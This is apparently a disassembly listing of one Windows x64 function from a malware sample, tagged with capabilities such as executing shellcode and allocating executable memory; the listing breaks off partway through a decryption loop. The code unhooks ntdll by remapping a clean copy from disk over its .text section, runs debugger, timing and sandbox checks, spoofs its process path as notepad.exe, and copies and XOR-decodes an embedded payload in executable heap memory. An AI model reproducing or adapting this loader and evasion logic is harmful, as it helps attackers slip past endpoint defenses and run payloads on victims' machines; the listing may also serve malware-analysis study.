Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8b8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x860], ecx
mov qword [rbp + 0x868], rdx
call fcn.140002ad0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x828], rax
cmp qword [rbp + 0x828], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x828], rax
cmp qword [rbp + 0x828], 0
je 0x140001b8f
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
mov rax, qword [rbp + 0x7a8]
mov r10, qword [rbp + 0x828]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x7a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x798], rax
mov dword [rbp + 0x824], 0xffffffff
add dword [rbp + 0x824], 1
call sub.msvcrt.dll_rand
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003ac0
movq rax, xmm0
mov qword [rbp + 0x790], rax
cmp dword [rbp + 0x824], 0x17c
jle 0x1400015c7
mov rax, qword [rbp + 0x798]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x780], rax
mov dword [rbp + 0x820], 0xffffffff
mov ecx, 0x4a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
add dword [rbp + 0x820], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
movsd xmm1, qword [0x140006640]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x820]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x778]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x820], 0x92
jle 0x14000169b
mov rax, qword [rbp + 0x7a0]
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov qword [rbp + 0x768], rax
mov word [rbp + 0x81e], 0
jmp 0x140001b77
mov rax, qword [rbp + 0x768]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x768]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x81e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x760], rax
mov ecx, 0xcb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov ecx, 0xcb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0xcb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0xcb0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov dword [rbp + 0x814], 0x32b
mov dword [rbp + 0x818], 0
jmp 0x140001923
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x758]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x750]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x758]
add rax, rdx
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x748]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x750]
add rax, rdx
mov edx, dword [rbp + 0x818]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x740]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x814], 1
add dword [rbp + 0x818], 1
cmp dword [rbp + 0x818], 0x32b
jle 0x140001817
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b66
mov ecx, 0x5a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov dword [rbp + 0x810], 0
jmp 0x1400019e8
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x738]
add rax, rdx
movsd xmm1, qword [0x140006638]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0xb3
jle 0x1400019aa
mov dword [rbp + 0x810], 0
jmp 0x140001a85
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x738]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x738]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cd0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0xb3
jle 0x140001a03
mov dword [rbp + 0x5a8], 0
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5a8]
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x81e]
add eax, 1
mov word [rbp + 0x81e], ax
mov rax, qword [rbp + 0x768]
movzx eax, word [rax + 6]
cmp word [rbp + 0x81e], ax
jb 0x14000177e
mov dword [rbp + 0x734], 0
mov dword [rbp + 0x804], 0
mov ecx, 0x1b8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
mov dword [rbp + 0x80c], 0
jmp 0x140001c7f
mov dword [rbp + 0x808], 0
jmp 0x140001c6b
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x80c]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
shl rax, 3
mov rcx, rax
mov rax, qword [rbp + 0x728]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x808]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp + 0x728]
add rdx, rax
mov eax, dword [rbp + 0x808]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001c64
add dword [rbp + 0x804], 1
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 9
jle 0x140001bd2
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0xa
jle 0x140001bc3
cmp dword [rbp + 0x804], 0x37
jne 0x140001c9f
mov dword [rbp + 0x734], 1
mov rax, qword [rbp + 0x728]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5ac], 0
mov rax, qword [rbp + 0x7b8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x720]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x800], 0xbe
mov dword [rbp + 0x7fc], 0x294
jmp 0x140001d43
mov eax, dword [rbp + 0x800]
cmp eax, dword [rbp + 0x7fc]
jle 0x140001d3c
sub dword [rbp + 0x800], 1
jmp 0x140001d43
sub dword [rbp + 0x7fc], 1
cmp dword [rbp + 0x800], 0
jg 0x140001d25
mov rax, qword [rbp + 0x5b8]
add rax, 0x3c
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140001ddb
mov rax, qword [rbp + 0x710]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov ecx, 0
call rax
mov dword [rbp + 0x7f8], eax
cmp dword [rbp + 0x7f8], 0xffffffff
je 0x140002a06
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x140002a06
mov rax, qword [rbp + 0x700]
mov edx, 0x597
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x6fc], eax
mov dword [rbp + 0x5a4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5a4]
mov r8, qword [rbp + 0x6f0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5a4]
cmp eax, 1
je 0x140002a06
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6e0], rax
cmp qword [rbp + 0x6e0], 0
jne 0x140002a06
mov dword [rbp + 0x6dc], 0x37e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6cc], eax
mov eax, dword [rbp + 0x6dc]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6d0]
call rax
mov dword [rbp + 0x6c8], eax
mov eax, dword [rbp + 0x6c8]
sub eax, dword [rbp + 0x6cc]
cmp eax, 0x34c
jbe 0x140002a06
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
je 0x140001fdf
mov rax, qword [rbp + 0x6c0]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov ecx, 0
call rax
mov dword [rbp + 0x7f4], eax
cmp dword [rbp + 0x7f4], 0xffffffff
je 0x140002a06
mov dword [rbp + 0x5a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5a0]
mov r8, qword [rbp + 0x6b0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5a0]
cmp eax, 1
je 0x140002a06
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
jne 0x140002a06
mov qword [rbp + 0x6a0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x698]
mov r9d, 0x3000
mov r8d, 0x437
mov edx, 0
call rax
mov qword [rbp + 0x6a0], rax
cmp qword [rbp + 0x6a0], 0
je 0x140002a06
mov qword [rbp + 0x690], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x688]
mov r9d, 0x3000
mov r8d, 0x2c6
mov edx, 0
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
je 0x140002a06
lea rax, [rbp + 0xa0]
lea rdx, [0x140006140]
mov ecx, 0x9e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
mov ecx, 0x7b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0x7b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov ecx, 0x7b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0x7b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x7ec], 0x1ec
mov dword [rbp + 0x7f0], 0
jmp 0x14000236e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x668]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x670]
add rax, rdx
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x660]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov edx, dword [rbp + 0x7f0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7ec], 1
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x1ec
jle 0x140002262
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov r8d, 0
mov edx, 0x4f5
mov ecx, 0x40000
call rax
mov qword [rbp + 0x650], rax
mov ecx, 0xba0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x7e4], 0
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x7e8], 0
jmp 0x1400024b1
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x648]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140002480
add dword [rbp + 0x7e4], 1
jmp 0x1400024aa
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x648]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400024aa
add dword [rbp + 0x7e0], 1
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x2e7
jle 0x14000240e
mov rax, qword [rbp + 0x648]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x678]
mov r8d, 0x4f5
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov ecx, 0x3e58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0x3e58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov ecx, 0x3e58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x7dc], 0
jmp 0x14000262d
mov dword [rbp + 0x7d8], 0
jmp 0x140002619
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7dc]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x630]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7dc]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x628]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7d8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x38
jle 0x140002568
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x45
jle 0x140002559
mov dword [rbp + 0x7dc], 0
jmp 0x1400026e6
mov dword [rbp + 0x7d8], 0
jmp 0x1400026d2
mov eax, dword [rbp + 0x7dc]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x630]
add rdx, rax
mov eax, dword [rbp + 0x7d8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7dc]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x7d8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7dc]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x620]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x7d8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x38
jle 0x140002655
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x45
jle 0x140002649
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0x4f5
mov rcx, rax
call r9
mov dword [rbp + 0x7d0], 0
mov dword [rbp + 0x7cc], 0
movabs rax, 0xb30d43e9550a4e1a
movabs rdx, 0xe293f6e3b45acc41
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xe79082b270a907fc
movabs rdx, 0x2401bf46d4b8a8db
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x2e7afb1499663e2
movabs rdx, 0x7c5873f86e5488a4
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xc12ada95a8ea2fa9
movabs rdx, 0x912cac8c9b8c8b
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movsd xmm0, qword [0x140006648]
movsd qword [rbp + 0x7c0], xmm0
movsd xmm0, qword [0x140006650]
movsd qword [rbp + 0x618], xmm0
jmp 0x140002810
movsd xmm0, qword [rbp + 0x618]
mov rax, qword [rbp + 0x7c0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003da0
movq rax, xmm0
mov qword [rbp + 0x7c0], rax
movsd xmm0, qword [0x140006658]
comisd xmm0, xmmword [rbp + 0x7c0]
ja 0x1400027e7
movabs rax, 0xf973d4b449ce4046
movabs rdx, 0x406ff31938f36fb1
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x81d299f9178ca3e7
movabs rdx, 0xaa287d08c0b7c29b
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xfcc9a82b6049748d
movabs rdx, 0x55c4a15eb6cf8372
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xd8eb45bcc3429227
movabs rdx, 0x83c17d5a7882762b
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
mov dword [rbp + 0x8f], 0xfaec83
mov dword [rbp + 0x7d4], 0
jmp 0x1400028f9
mov eax, dword [rbp + 0x7d4]
cdqe
movzx edx, byte [rbp + rax + 0x50]
mov eax, dword [rbp + 0x7d0]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7d4]
cdqe
mov byte [rbp + rax], dl
cmp dword [rbp + 0x7d0], 0x3e
jne 0x1400028eb
mov dword [rbp + 0x7d0], 0
jmp 0x1400028f2
add dword [rbp + 0x7d0], 1
add dword [rbp + 0x7d4], 1
mov eax, dword [rbp + 0x7d4]
cmp eax, 0x41
jbe 0x1400028ae
mov dword [rbp + 0x7d4], 0
jmp 0x140002971
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x640]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7cc]
cdqe
movzx ecx, byte [rbp + rax]
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
